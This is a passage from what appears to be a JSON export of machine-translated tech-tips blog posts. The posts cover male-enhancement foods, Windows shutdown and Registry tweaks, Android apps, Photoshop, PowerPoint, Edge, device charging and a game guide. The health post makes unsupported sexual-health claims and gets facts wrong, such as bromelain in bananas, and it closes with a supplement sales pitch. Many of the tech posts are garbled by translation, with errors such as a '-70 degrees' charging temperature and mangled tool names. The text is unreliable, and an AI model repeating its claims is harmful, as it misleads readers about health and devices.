goats\nIn the night, my wife returned to her numbness\nI will go back tomorrow night. \"\nSince ancient times, people have discovered the wonderful effects of goat meat on the physiological health of men. Like oysters, goat meat also contains a lot of zinc that is good for the body and has the ability to enhance male physiology.\nVery delicious and fragrant goat meat, a type of meat that contains many nutrients to increase health, and contains many stimulating micro-nutrients.\n  5. Chicken eggs Chicken eggs synthesize a lot of protein, Vitamins should have a lot of good effects such as restoring the body, helping to strengthen kidneys and coated the skin. Using chicken eggs after sex will help you recover the lost 'sperm' very quickly and effectively.\n  6. Quail eggs Besides chicken eggs, quail eggs are also included in the yellow table of foods that enhance male physiology. Each quail egg weighs only ¼ of chicken eggs but has a Vitamin A content 2.5 times higher than chicken eggs.\nIn addition, they also contain a large amount of Vitamin B1, B2, phosphorus, calcium, iron . Eating quail eggs will help \"little boy\" with outstanding strength and quality of sperm is also significantly enhanced.\n  7. Figs Figs are considered to be very good for men's health, stimulating sexual ability and enhancing fertility for men. Figs contain a lot of Vitamin A, Vitamin B1, B2, calcium, manganese, phosphorus, iron are the best male enhancement food.\nThis fruit has the ability to help strengthen fertility, cure physiological weakness and sexual stimulation because they include soluble and insoluble fiber this factor is extremely important for heart health. circuit.\n  8. Watermelon Did you know, watermelons can help improve libido, which is very helpful for the treatment of erectile dysfunction - one of the signs of male physiological weakness. According to some University of Texas studies, watermelons contain many citrulline. This is considered to be a type of acid acid that relaxes blood vessels, positively impacting on the gentleman of gentlemen.\n  9. Chocolate Black chocolate raises hormone serotonin, promotes pleasure, reduces stress and supports gentlemen who are more likely to orgasm. Cocoa also increases blood circulation through arteries, dilates blood vessels, bringing blood to all appropriate areas, including 'little boy'.\n  10. Banana Banana is a nutritious fruit that is loved by many people. This fruit is rich in potassium that supports erection when having sex. In addition, the bromelain enzyme in bananas stimulates the production of \"love\" hormones in men.\n  Above are some foods that have a special role for male physiology. However, besides the use of these foods, gentlemen can incorporate simple exercises and supplementary energy supplements such as:\n\u0026gt;\u0026gt; See also: Simple exercises to improve physiological weakness in men\nCordyceps Biofun - Sign fresh host 100gr - Reference price: 8,000,000 VND. Cordyceps Biofun - Fresh host (10 children) - Reference price: 1,000,000 VND. Male physiological Biomax tablet (10 tablets) - Reference price: 360,000 VND. Solgar Saw Palmetto Berries health protection food (100 capsules) - Reference price: 790,000 VND. If you need to use these types of kidney tonic to strengthen the vitality, please contact us immediately for advice and best service.\nIn Hanoi: 024.35.68.69.69 In HCMC: 028.38.33.33.66 ncG1vNJzZmismaXArq3KnmWcp51kfnF507KnnqtdpLNuss6om2adnp2ur6%2FEZqSepqNiw6rAwKWgrbE%3D\n","link":"/post/10-types-of-food-enhance-men-s-vitality/","section":"post","tags":null,"title":"10 types of food enhance men's vitality"},{"body":"  Press Win + R (to open the Run dialog box) or proceed to open Command Prompt or PowerShell. Press the Win + R key combination to open the Run window.\nYou can find Command Prompt or PowerShell in the Start menu. Because PowerShell is an alternative to Command Prompt on many modern Windows 10 computers, you can also select PowerShell in the pop-up menu after pressing Win + X.\n  Enter the following command: shutdown -a. This command will cancel the shutdown schedule for a while. You'll need to repeat this if you want to cancel other scheduled shutdowns.\n  Click OK (in the Run window) or ↵ Enter (in the Command Prompt or PowerShell). This option is located below the data field on the Run window where you just entered the code. After you click that, the Run window will close.\nUsing Power options   Open the Settings section. You can press Win + I to open Settings or find the option with this gear icon in the Start menu.\n  Click System . This is the first option in the menu.\n  Click Power and sleep . This option is in the menu on the left side of the window.\n  Click Additional power settings . This option is on the right side of the window.\n  Click Change plan settings . This option is to the right of the current plan.\n  Click Change advanced power settings . This option is located under general settings.\n  Double-click Sleep and Sleep After . When you double click these items will expand the menu.\n  Click On Battery or Plugged in , select the arrow, and then click \"Never\" (laptop only). If you want to change the settings of both of these options, repeat the previous steps with the other option.\n  Click Setting , select the arrow and click \"Never\" (desktop only). This option is not available on laptops.\nWhen you change the \"Sleep\" setting to \"Never\", the computer never sleeps.\n  Double-click Hibernate after . The menu will expand below the title.\n  Click On Battery or Plugged in , click the arrow and select \"Never\" (laptop only). If you want to change the settings of both of these options, repeat the previous steps with the other option.\n  Click Settings , then click the arrow and select \"Never\" (desktop only). This option is not available on laptops.\nThese settings ensure that the computer will never hibernate, but be aware that such settings can drain the battery if the laptop is not plugged in.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRo7CmuIyarK2nnZbBqq%2BMrJ%2BurJSkxK95zqdksKGemby4v4xqZw%3D%3D\n","link":"/post/how-to-cancel-automatic-shutdown-on-windows-10/","section":"post","tags":null,"title":"How to Cancel Automatic Shutdown on Windows 10"},{"body":"Checking the status of Android phone battery is one of the essential jobs, especially when your device starts to have a full charge but it cannot be used as long as before, also called a battery bottle. . This will help you know the battery level so that there is a reasonable and alternative solution to use. And in this article, we will share with you the extremely useful Android battery bottle checking app called AccuBattery.\nThis is a battery management application that should not be missing on Android smartphones. AccuBattery not only helps to display battery status and bottle level (if any) but also helps to manage battery usage on the device, detailed list and battery consumption of each application to know Which app is using the battery the most.\nThese battery saving apps on Android Instructions to fix Android phone error virtual battery alert How to check fake and real memory card on Android phone Manual Accubattery to check battery level on Android\nStep 1:\nBefore going to the detailed instructions on how to use it, you need to download and install Accubattery application to your phone. The application is compatible with Android 5.0 and above and requires at least 5MB of phone memory.\nDownload Accubattery for Android Step 2:\nAfter downloading and installing successfully, you open the Battery Battery application. On the first visit, you will be introduced to the main features of the application. Swipe the screen right to the last interface, the system will need a few minutes to conduct a battery test on the phone.\n   Step 3:\nThis process ends, and when you click the confirmation icon, immediately it will be taken to the main Battery interface.\n   Step 4:\nScroll down and search for GRANT PREMISSION, then confirm OK.\n   Step 5:\nTo check battery level on Android, you need to allow application access. In the Accu Battery section, push the bar to the right and click OK.\n   Step 6:\nBack to Accubattery application, now you can easily check yourself, manage the battery usage process on devices such as: Battery percentage remaining, estimated time of use and waiting time corresponds to the above battery level.\n   Step 7:\nNext, select Charging and set yourself a notification landmark when your device has a stable battery charge by moving the blue icon.\nAccubattery's most special feature is that it allows you to monitor Charge Status parameters to easily check battery level on your Android phone. As follows:\nCharge currrent: Current line is charging. Temperature: Current battery temperature. Voltage: Voltage is charging.    If, when checking, you see that your device is charging with a very high Temperature (-70 degrees), then it is likely that your phone battery has been bottled.\nNote: To preserve phone batteries better, you should consider the following issues:\nLimit the use of gaming phones, Internet access, watch videos using data networks with continuous frequency. Do not just charge the battery and use the device. If the device is too hot, stop using the device for a few minutes. Avoid removing and plugging in the charger continuously. Above is how to check battery level on Android with Accubattery application, hopefully this will be your effective support when using Android devices.\nHope you are succesful.\nSee more:\nGuide to check battery level of iPhone, iPad 100% accurate data by analyzing Apple No need to install any software, this is how to check your laptop battery level Common mistakes when charging the phone ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecGaq62doq56rbHVnqNmp55irq%2Bw0aignWWnnsGpecCcmq6akanBpr7Y\n","link":"/post/how-to-check-battery-level-on-android-with-accubattery/","section":"post","tags":null,"title":"How to check battery level on Android with Accubattery"},{"body":"Have you ever right-clicked on a file or folder and wondered where the options to mess up this context menu and how to delete them? Please read the following article.\nInstructions for deleting options in the context menu Delete the item from the context menu by editing the Registry Delete the item in the Shell key Delete the Shellex key entry Explore other locations by file type  Delete items from the context menu with the tool of NirSoft Windows has a wide range of options in the context menu by default and this list will increase as you install many applications. Sometimes applications 'fight' together to save a portion of the \"land\" in this right-click menu and most people don't use half of them. This article will guide you to delete items in the context menu by editing the Registry or using a free third-party application.\nYou don't need to put too much effort into turning a long context menu:\n  This is a neat and clean context menu like this:\n  Delete the item from the context menu by editing the Registry If you want to clean up everything in the context menu without using third-party software, Registry Editor is the right choice.\nWarning: Registry Editor is a powerful tool and its abuse will lead to system instability or even inactivity. You should back up the Registry before making changes to prevent a problem from occurring.\nOpen Registry Editor by clicking Start and typing regedit , then press Enter and grant permission to make changes to the computer.\n  The items on your context menu are not in the same place in the Registry, so you need to find the items used for files and folders by searching in the following keys in the left navigation.\n HKEY_CLASSES_ROOT * shell   HKEY_CLASSES_ROOT * shellexContextMenuHandlers   HKEY_CLASSES_ROOTAllFileSystemObjectsShellEx  You will find specific context menu items for the folder in the following keys:\n HKEY_CLASSES_ROOTDirectoryshell   HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers  You will need to handle the context menu items found in these positions a bit differently. Here's how to handle items in some popular keys.\nDelete the item in the Shell key Take a look at an example to delete an item below to understand how to do it. In this example, when installing VLC video player software, it will add an entry to the context menu called Add to VLC media player's Playlist .\n  To delete this item in the context menu, in Registry Editor, find the following key:\n HKEY_CLASSES_ROOTDirectoryshellAddtoPlaylistVLC  You will see this key in the key shell. Items in the key shell are often easy to detect and handle.\n  Here we will have a few ways to handle it. You can completely delete the AddToPlaylistVLC key and it will disappear from the context menu. However, unless you back up the Registry or export that key to a REG file, you won't be able to get it back if you change your mind.\nHow to create a hacked Windows Registry file yourself The second option is to disable it instead of deleting that key. To do this, right-click the AddToPlaylistVLC key or the key you want to delete and select New\u0026gt; String Value , naming the new value LegacyDisable .\n  As soon as you create the LegacyDisable value, the change will be applied immediately. Right-clicking on a file or folder in File Explorer and the Add to VLC media player's Playlist item is no longer in the context menu.\n  If you occasionally want to use an item in the context menu but don't want it to clutter this frequently used menu, you can hide it in the extended context menu, only when you hold down the Shift key while right-clicking on the message. item or file. To do this, right-click the AddToPlaylistVLC key or other key you want to hide and select New\u0026gt; String Value , name this value Extended .\n  Now, it only appears when you right-click a folder while holding the Shift key.\nDelete the Shellex key entry You may have noticed that some Registry keys listed at the beginning of this section have shellex (shell extensions) in the name instead of just the shell. You need to handle these key types a bit differently. In this example, we will find the following key:\n HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers  Shellex items will be a bit more difficult to handle, but you can still find items to delete under the key name on the left. Here we will work with the DropboxExt key inside the ContextMenuHandlers key.\n  When installing Dropbox, it adds the Move to Dropbox command to the context menu. If you prefer drag and drop, you'll rarely use this command and want to delete it from the right-click menu.\n  You cannot use tricks such as the above mentioned LegacyDisable and Extended values ​​with items in the shellex key. You can still delete the DropboxExt key to remove it from the context menu (make sure to back up the key), but it is easier to disable it. You just need to select the key on the left, double-click the value (Default) inside that key to open its properties window.\n  On the properties window, in the Value data box, modify the existing value by adding a few dashes before it, but be careful not to delete any of its available values. In this way, if you change your mind, just delete the dash to restore it. When done, click on OK .\n  You will see changes immediately on the context menu.\n  However with the items in the shellex key, you have no way to hide the options in the extended context menu in the way you do with the items in the key shell.\nExplore other locations by file type If you want to delete the context menu items only see right click on specific file types, you can do that. These items are stored elsewhere, not the usual locations we just searched for. To find it, you need to specify the file extension key by looking in HKEY_CLASSES_ROOT.\nFor example, suppose that when you right-click on an Excel document, you will see the item to open the file (XLSX).\nYou will start by finding the following Registry key for the XLSX extension:\n HKEY_CLASSES_ROOT.xlsx  The data column for the key shell (Default) indicates the actual file type of the file is Excel.Sheet.12.\n  Now, you can browse to that extension key:\n HKEY_CLASSES_ROOTExcel.Sheet.12shell    After finding the correct key shell, you can use the same tricks in the previous section to delete, disable or hide items on the extended context menu.\nDelete items from the context menu with the tool of NirSoft Instead of editing the Registry, you can download two tools from NirSoft to clean up the context menu. Why do you need two tools? Because a tool will handle shell entries and a shellex item handle. Both tools are easy to use.\nStart by downloading both tools. The first tool is ShellMothyView, which handles common shell items. The second tool is ShellExView, which handles shellex items. Scroll down to the bottom of both pages to find download links. Both of these tools work with most versions of Windows 98 through Windows 10. You will need to get the 32 bit or 64 bit version, depending on whether you are running 32-bit or 64-bit versions of Windows.\nDownload ShellMothyView following the link below:\nhttp://www.nirsoft.net/utils/shell_menu_view.html  Download ShellExView following the link below:\nhttp://www.nirsoft.net/utils/shexview.html  The first tool we will test is ShellMothyView, which allows managing all common shell items with an easy-to-use interface. After downloading and extracting the tool, double-click the EXE file to run it. This is a portable tool so you don't need to install it.\n  In ShellMothyView window, just browse down the list until you find the item you want to disable. You can only disable items with these tools without deleting or hiding them on the extended context menu. These tools disable items by creating a LegacyDisable string value inside the appropriate key when manually editing the Registry.\nWhen you find the item to disable, click the Disable button on the toolbar (red light).\n  Another useful feature of this tool is that it allows to disable a variety of items in the context menu.\nIf you want to delete items in the shellex key, you need to use ShellExView's second tool. This tool works similarly to the first tool. You just need to select one or more items and then click the Disable button to remove it from the context menu.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyop62hn6PAbrXNZquhnV2stq%2BwzrCqZpufo8GmxNNmpJ6mpQ%3D%3D\n","link":"/post/how-to-delete-options-in-the-windows-context-menu/","section":"post","tags":null,"title":"How to delete options in the Windows context menu"},{"body":"If you are intending to tease someone by editing, distort their face on the image. Or if you are trying to distort someone's or your photo to post Facebook, Twitter, etc., you don't know how to do it. The following article Admin network will guide you on how to distort extremely simple images in Photoshop.\n1. Wrap an item The Warp command allows you to drag and adjust points to change the shape of photos, shapes or paths . You can also use Shape in Wrap Style in the options on the toolbar to distort an image.\nTo select the points you want to distort, just select View\u0026gt; Extras to hide or show the wrap mesh and adjust the points.\nUse Wrap\n  \nA. Choose the shape you want to use to distort.\nB. Then select the Wrap option on the pop-up window on the options toolbar.\nC. Results\nStep 1 : Choose the image you want to distort\nStep 2 : Do one of the steps below:\nSelect Edit =\u0026gt; Transform =\u0026gt; Wrap If you choose another command or use the Free Transform command, click on the Switch Between Free Transform And Warp Modes on the optional toolbar. Step 3: Do one of the following:\nTo distort an image using a specific shape, on the pop-up Wrap window located in the custom toolbar, click on the Style you want.   To change the shapes, drag the control points, the segments on Bounding Box or the grid or an area in the grid. When adjusting a curve, use the control pointer (Control Handles). Or the same as you adjust the curve in Vector graphics .   To undo the adjustment process, select Edit\u0026gt; Undo .\nTo change the orientation of the styles to distort the image you selected from the Warp menu, click on Change The Warp Orientation on the toolbar . To change the reference points, click on a square on the reference point on the option toolbar. To adjust the width, curvature, distortion . of the image, enter the Bend values (curvature setting), X (set the horizontal distortion) , and Y (vertical distortion setting) into Text box in the toolbar option. Note : If you select None or Custom on the pop-up Warp Style window, you cannot enter those values.\nStep 4 : Do one of the following:\nPress Enter (on Windows) or Return (on Mac OS ), or click Commit in the options bar.\nTo cancel the change, press Esc or click Cancel in the options toolbar.\nSee also: How to use Photoshop CS5 - Part 5: Photo editing Note:\nWhen you warp, distort a Bitmap image , after each editing, changing the image will be less sharp. Therefore, you should not execute each statement one by one.\n2. Puppet Warp The Puppet Warp allows you to distort a certain part of a specific image, but other parts of the image remain intact.\nStep 1: In the Layer Panel , select the Layer or Mask you want to convert.\nStep 2: Select Edit\u0026gt; Puppet Warp.\nStep 3: On the optional toolbar, adjust the following grid settings:\nMode : Determines the general elasticity of the mesh.\nDensity : Determines the distance between grid points. Many points increase accuracy but require more processing time. Less points are the opposite.\nExpansion: Expand or shrink the outer edge of the mesh.\nShow Mesh: Uncheck the Show only adjustment pins section (show only adjustable pins).\nTo temporarily hide the adjustment foot, press the H key .\nStep 4: In the image window, click to add the pin to the area you want to modify and the areas you want to keep.\n  Step 5: To reposition or remove a Pin, do one of the following:\nPull Pin at grid position. To show the grid area you overlapped with, click Pin Depth on the options toolbar. To remove the selected Pin, press Delete . To remove the other Pin, place the cursor directly on these Pin, press Alt (for Windows) or Option (for Mac OS) ; When the scissors icon appears, click on it. Click Remove All Pins on the option toolbar. To select multiple Batteries, click Shift or select Select All on Context Menu .\nStep 6:\nIf you want to rotate a pin grid, select that pin grid. Then do one of the following:\nTo rotate a fixed grid, press the Alt (for Windows) or Option (for Mac OS) keys, and position the cursor nearby, but not more than the battery. When a circle appears, drag the outer part to rotate the grid. The rotation level appears on the options bar ( Options bar) . To rotate the grid automatically using Mode option , on Rotate Menu in the options bar, select Auto. When your edit is complete, press Enter or Return.\n  \nPress Alt (Windows) or Option (Mac OS) to rotate the grid around the selected Pin.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqMGwvtNmmGaomKTBsHnIp2SpoJ%2BpvLS0zqk%3D\n","link":"/post/how-to-distort-a-photo-in-photoshop/","section":"post","tags":null,"title":"How to distort a photo in Photoshop"},{"body":"It is possible that you still keep the videos you recorded from your last meeting with your friends. They are in the collection in the phone and waiting to be edited. You may be planning to transfer those videos to your computer for editing, but that is not necessary.\nKinemaster has complete video editing capabilities. Kinemaster is a feature-rich video editing application for Android. This application possesses all the features you need to edit videos on your own and it's free.\nQuick video editing with Kinemaster How to cut videos with Kinemaster How to use transition effects in Kinemaster Voiceover in Kinemaster How to add text to Kinemaster videos How to add music to videos How to cut videos with Kinemaster To cut a video, you will first need to upload it. To add videos, click the + in the middle circle.\n  Once the video has been added, click on the check mark at the top right. To cut a video, tap the video at the bottom, after the border turns yellow. On the upper left you will see a scissors icon.\n  Touch this icon and new cutting options will appear in the same area. If these options are grayed out (not enabled), move the video back and forth to active options. Options include: Trim to the left / right of the playhead (Cut video to the left / right of the playhead), Split at playhead (Split video into 2 parts in playhead) and Extract Audio ( Audio extract). Please select the option that best suits your needs.\nHow to use transition effects in Kinemaster Adding transitions to videos is an easy task. Let's add some videos as usual. You may notice that in the middle of each video there will be a gray square and a line in the middle. To add transitions, touch the square.\n  Click on transition options and different options. You can choose options such as 3D Transitions, Classic, Fun, Picture-in-picture, Powerful, Presentation, Text , etc. When you're done adding transitions, click on the checkmark at the top. To preview transition effects, go to the place you want to start on the video and click the Play button .\nVoiceover in Kinemaster After adding videos, you add voice (Voiceover) to it. Click the mic icon. Recording will not start until you press the Start button, but you can specify the mic is on when the green light starts flashing.\n  When you click the Start button , the parts of the video that are added to the voice will be highlighted in red. When you click the Stop button , the video with red color will now have a purple line below. You will also find additional options such as Review , Re-record , Loop (loop), Voice Filter (voice filter), Voice volume (voice volume) and Trim (cut ).\n  How to add text to Kinemaster videos Adding text to video is a basic and necessary tool. To add text and personalize it, click the Layer button to the left of the red camera button. After that, a new options window will appear. The Text option will lie slightly below.\n  Enter the message and click the OK button . The text at first will be small, but you can make it bigger by pulling it out. Click the Aa icon to change the font. The animation option will give you ways to make text appear like sliding down, sliding up, clockwise, etc.\n  Swipe down and you can also add things like drop shadow, glow, add borders to text, etc. To change the color of the text, touch the white circle to the right of the scissors icon.\nHow to add music to videos The video will be much better if you add music. For example, you want to add a song on the device. Put the red line at the bottom where you want the song to start. Click the music note icon and select the song.\n  Once you've selected your favorite song, a red plus sign will appear. The application will start playing audio so you can confirm if it is the song you want to add. After confirming, click on the red plus sign and the title of the song will appear at the bottom.\nKinemaster is a free editing application for Android full of great features. Once you've mastered how to use it, you'll find Kinemaster isn't as scary as you think. What do you think about this application? Leave comments in the comment section below!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFuwsidnKirXaS7bq3NnamooZRixKrAx2aioqaVoq60wMSr\n","link":"/post/how-to-edit-videos-on-android-with-kinemaster/","section":"post","tags":null,"title":"How to edit videos on Android with Kinemaster"},{"body":"Thankfully PowerPoint makes it easy to print multiple slides on a single page, which saves money not only on paper but also on ink, as well as reducing the size of the handout to your audience.\n  To do this, go to File \u0026gt; Print and click the black arrow to the right of the Full Page Slides button.\nThis will open the Print Layout window, where you have a series of options for the number of slides per page you print and in which direction. You can print up to 9 slides per sheet of paper, but if your slides are content dense, it's recommended that you use 4 or 6 slides per printed page.\n  If you want to save more paper, you can also print both sides of each sheet of paper. Some printers support automatic duplex printing, while for others you have to turn the paper over every time you print the second page.\nSo you can put a total of 18 slides onto one sheet of paper - this will save you a lot of money compared to printing each slide on a single sheet of paper.\nOffice tips PowerPoint ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiinru1ecyuo62hoKGybrzOsJyrqJ%2Beu7V50qWgnZ2jYryvecmuqq1ln6OybrzAoJw%3D\n","link":"/post/how-to-print-multiple-powerpoint-slides-on-just-one-page/","section":"post","tags":null,"title":"How to print multiple PowerPoint slides on just one page"},{"body":"The Task Manager on Edge Chromium is similar to the task manager on Chrome or the Task Manager on Windows, which helps users manage open tabs on the browser to see which tab takes up a lot of RAM on the browser. Thus, users can easily manage the browser extension resources for open tabs on the browser, especially knowing immediately which tabs are eating the most RAM to turn off if not in use. Because of the shared Chromium core, using Task Manager on Edge Chromium is similar to Chrome and is instructed in the article below.\nInstructions for using Task Manager on Edge Chromium Step 1:\nCreate Edge Chromium browser interface, click on the 3-dot icon and select More Tools and click Browse task manager .\n  Step 2:\nImmediately display the Task Manager interface. Here you will see a list of active tabs, utilities, hardware resources such as RAM, CPU, GPU, . used.\n  Step 3:\nYou can now close any tabs on your browser that are hogging RAM, or if any tabs have a problem, the extension is stuck in the browser. Click the tab and then select End Process to stop. If you want to select multiple tabs then press Ctrl or Shift and then click on the tabs to make multiple tabs at once.\n  Step 4:\nA tab running in the browser not only uses RAM, CPU, GPU but it has many other types of resources. We can examine it more closely by right clicking on the interface . Now show 20 types of resources used in the browser.\n  Any resources that have a check next to them are currently displayed in the Task Manager interface. Resources with no traces are not visible. We can rely on this table to check if other sources are being used.\nIn addition, when you click on each resource, it will show a triangle icon that goes up or down to show the mode of ascending or descending usage.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVmnq4tMicn2askZfAbq%2FOp6qupZViv6K5jKilZp2UnLJur8erpqahpaI%3D\n","link":"/post/how-to-see-which-tabs-consume-ram-on-edge-chromium/","section":"post","tags":null,"title":"How to see which tabs consume RAM on Edge Chromium"},{"body":"Mozilla has just officially released FireFox OS Simulator 3.0, making it easy for users to experience the Firefox OS platform directly on the web.\nAccording to SlashGear recently, the new upgrade adds a number of features like Push to Device that automatically \"pushes\" this OS-based mobile app to another device via a USB connection, additional screen rotation function, geolocation capability.\n  Some new features in the FireFox OS Simulator 3.0 version\nIt is known that FireFox OS Simulator first version 1.0 was released in mid-December last year, after a short time there is version 2.0, with the ability to simulate FireFox OS platform within the FireFox browser, help programmers tablets or users try out applications on this new mobile platform.\nFireFox OS Simulator 3.0 can run directly in FireFox browser on Windows, Linux and Mac OS X operating systems.\nncG1vNJzZmismaXArq3KnmWcp51kurDGyKWjmmWclsKvr8eem2aemaeyp7vXZqasZaOeura4wK2mq2VjZQ%3D%3D\n","link":"/post/mozilla-launched-firefox-os-simulator-3-0/","section":"post","tags":null,"title":"Mozilla launched FireFox OS Simulator 3.0"},{"body":"Recently, some Android phone users cannot download the Netflix application after rooting their Android device. In addition, those who have a bootless bootloader on the phone cannot download and install the Netflix application from Google Play Store either.\nThe bootloader here can be interpreted as the boot device on the phone, it is programmed and preloaded ROM, executed before the operating system starts running and determines which features the user is using or is restricted. . Bootloader was created to prevent end users from arbitrarily interfering with the operating system (such as editing system files, adding preinstalled applications, .) or running non-genuine operating systems.\nWith Unlocked Bootloader, users can intervene deeply into the system, running the operating system not from the company. The device with the Unlocked Bootloader is quite similar to the rooted device.\nInstructions on how to unroot Android devices Strangely, the Netflix application continues to operate on the device that has rooted, but the device will not be able to download the application or receive more updates in the future. Netflix has confirmed that they have limited the availability of apps on rooted Android devices.\n  At the same time, Netflix also stated that they are using Widevine to block rooted Android devices, but Android Police has indicated, this statement is not really true because the application still works on the root device, just not found in Play Store search results. Turns out, what Netflix actually uses is the new Play Console functionality introduced by Google Play Store. This feature is part of a lot of things that Google recently announced, so Netflix didn't mention it publicly before.\nPlay Console identifies a new device category, part of the release manager, allowing developers to restrict the list of devices that can run applications. This feature examines devices with multiple attributes such as RAM, SoC, SafetyNet Attestation safety certification. If it does not, it will remove the device from finding and installing the application.\nDevelopers can block certain Android devices from installing their apps based on Play Console. That is, do not let the application display or even not be able to install directly from Play Store on certain devices, including those already rooted on custom ROMs as well as on Android emulators. and non-certified devices.\nIt should be emphasized that SafetyNet only affects the device while searching for the application on Play Store, and if SafetyNet API is not fully in the application, users can get the APK file from another source, install and enjoy as normal. But no one will guarantee the security of those files.\nWith the latest function on Play Console, rooted Android devices are gradually unable to download apps from Play Store.\nncG1vNJzZmismaXArq3KnmWcp51ku7DAjKilpbFdo7K1ssuir2anpJ2ys3nAqadmnJWrsq27z56prGWTlrturcuspmaanKSwrHnAp5urp5mZeqe%2BzqZkm52Zo7Ruvs6oq56cXam8brDOsKWlp5GZeqK8z6WgnJmknryvvw%3D%3D\n","link":"/post/not-only-netflix-other-app-developers-can-also-block-android-from-being-rooted-to-download-applications/","section":"post","tags":null,"title":"Not only Netflix, other App Developers can also block Android from being rooted to download applications"},{"body":"Recently, Qualcomm announced a list of fast-charge Quick Charge 4.0 / 4.0 + smartphones, fast-charging fourth-generation Quick Charge technology that provides 5 hours of continuous battery use in just 5 minutes. Fast charging and good support for USB-C and USB Power Delivery standards.\nWhat surprised everyone and with a bit of disappointment was that in this list of Qualcomm only one device was confirmed to be fully compatible with Quick Charge 4.0 / 4.0 + technology. And that smartphone is the Razer Phone .\n  After Qualcomm announced this result, many fans were wondering about ZTE Nubia Z17's absence, the ZTE smartphone that was introduced by ZTE will support fast charging technology Quick Charge 4.0. The answer so far is still a mystery.\n  It is known that Qualcomm will expand and update more devices with Quick Charge 4.0 / 4.0 + technology.\nSee more:\nQualcomm built a new Wi-Fi chip for the Wi-Fi 802-11ax generation How to charge iPhone X twice as fast? How to adjust the fast charging feature on Samsung Quick charging way iPhone X ncG1vNJzZmismaXArq3KnmWcp51kvK%2B42GaroaGjYsCurdGtp6Gnnpp6prrTnqmenF2ptaZ5y6KqrWWfm3qywcClmqilnWLAtrzPqKmtZaGqtqS3jJyfmqqXmnp1fA%3D%3D\n","link":"/post/only-this-smartphone-entered-the-list-of-qualcomm-support-quick-charge-4-0/","section":"post","tags":null,"title":"Only this smartphone entered the list of Qualcomm support Quick Charge 4.0"},{"body":"LSST is a 3.2 billion pixel camera measuring 1.7m wide and 3m long, weighing more than 3 tons. This camera includes 3 lenses and optional filters on the front, the rear is the focal plane. LSST has the ability to see into very distant space, which means looking back into the past, and photographing a large area. The front includes 3 optional lenses and filters, the rear is the focal plane.\n  The camera has 6 interchangeable optical filters that make it possible for astronomers to capture the sky in 6 different bands of the electromagnetic spectrum, from near-ultraviolet to near-infrared, and in a variety of lighting conditions. .\nOnce completed, the LSST will be moved to the Vera C. Rubin Observatory under construction on the El Penon summit of the Cerro Pachon mountain, Northern Chile. Here, it will be used to capture exposure images lasting up to 15 seconds and will photograph the southern half of the sky every three days to help scientists study galaxies, asteroids, dark energy and matter. darkness, the formation of the Milky Way, objects in the Kuiper belt. and mysterious cosmic phenomena.\nOnce operational, the world's largest digital camera will generate a huge amount of data - almost 6 million GB a year. To display 1 photo at full size would require up to 378 4K UHD TV screens.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjLCmq6SUqHqtrdGgnKysXZm2qLXTmqNmm5GisrOtjLCgraBdlnqzsdKoo66smaS7brvFZmprZZKeua21zqdkqaGomrm0\n","link":"/post/the-world-s-largest-digital-camera-with-a-resolution-of-3-2-billion-pixels/","section":"post","tags":null,"title":"The world's largest digital camera with a resolution of 3.2 billion pixels"},{"body":"If you are an Apple user, you probably also realize that the cables sold with its products are easy to break, especially near the connector area. Many people think this is a way for Apple to extract consumers' money. In fact, how to find out the answers below.\nFirst, watch the Apple Lightning cable (left) and regular Micro USB cable (right) in the picture below.\n  On a regular Micro USB cable, there is a triangular part connecting the charger cable and connector, which is called Strain Relief. Strain Relief's curvature and rubber rings are designed to limit the folding of the rope, so that it cannot be bent 90 degrees and undamaged in any case. As a result, the cable is more durable and less broken.\nAnd the Apple iPhone thousand cable doesn't have this part, so after a few months of use it's prone to fraying and breaking.\n  According to Michael McGraw Herdeg, a Reddit user who claims to have a working experience at Apple shared on Quora is related to Apple's technology design philosophy and has nothing to do with the company trying to extract it. consumer money when buying new cables.\nSimply, Apple wants a product with neat design. Therefore, they do not want Strain Relief to exist on their components and this makes the connector on the $ 20 Lightning cable unable to reduce the pressure during use as other $ 2 cables.\n  This detail also partly reflects the power structure at Apple, the Industrial Design division that decides the appearance and user experience of all products, not the business, marketing or hardworking sectors. customer care . as in other companies.\nHowever, many people believe that the material used to make new cables is the main cause of the problem. The type of rubber that Apple uses is more prone to aging because the technology company has claimed that its products are environmentally friendly.\nHowever, in the past few years, Apple cables seem to have improved and used new materials, so they are better and more durable than older cables.\nSurgical cable charging iPhone fake goods and genuine goods to see \"expensive but chopped\" Plug the iPhone cord into Samsung charging bulb to charge iPhone okay? ncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWnncZurc%2Bpo56rXZi1or7Gnqlmm5%2BnsW610macmquZmr9uwM5mmaudkaB6tbTAp2SfmZua\n","link":"/post/this-is-why-apple-s-charger-cord-is-easier-to-break-than-fake/","section":"post","tags":null,"title":"This is why Apple's charger cord is easier to break than 'fake'."},{"body":"Players will no longer be trapped in a small room, but will have to explore a huge building. The main character, Gregory is trying to uncover the mysteries of Mega Pizzaplex.\n  Some things will be familiar, others will be completely new. Therefore, even gamers who have mastered the previous FNAF part must prepare for the unexpected. In this article, learn tips for surviving Five Nights at Freddy's: Security Breach.\nTips for playing Five Nights at Freddy's: Security Breach Regularly use Faz Watch   At the start of the game, everyone will be given a Faz Watch. Use it to gain access to maps, quests and secret messages. It's an important part of FNAF: Security Breach and players should rely on it throughout the gameplay.\nSince Security Breach has a lot of open world experiences, players will have to keep an eye on their trusty watch to get some quests. Moreover, Mega Pizzaplex is a large place, it is very important for players to take notes on the map to know where they are and where they should go.\nPay attention to the instructions   The somewhat annoying part of this game is that it only tells all the information once. So, if players aren't paying attention, they might not know what to do next. While Faz Watch will mention the title of each mission, specific missions will only be mentioned by Freddy once.\nFor example, if a player has to go to location X, get item X, and deliver said item to location X, only the last location will be mentioned by Faz Watch. The rest requires gamers to memorize. Although this is not always the case in the game, it can still occur, so the player must be extremely attentive when being instructed about anything.\nTake advantage of hiding Mega Pizzaplex is a large location so there are many hiding places spread throughout the map. Although running across a room 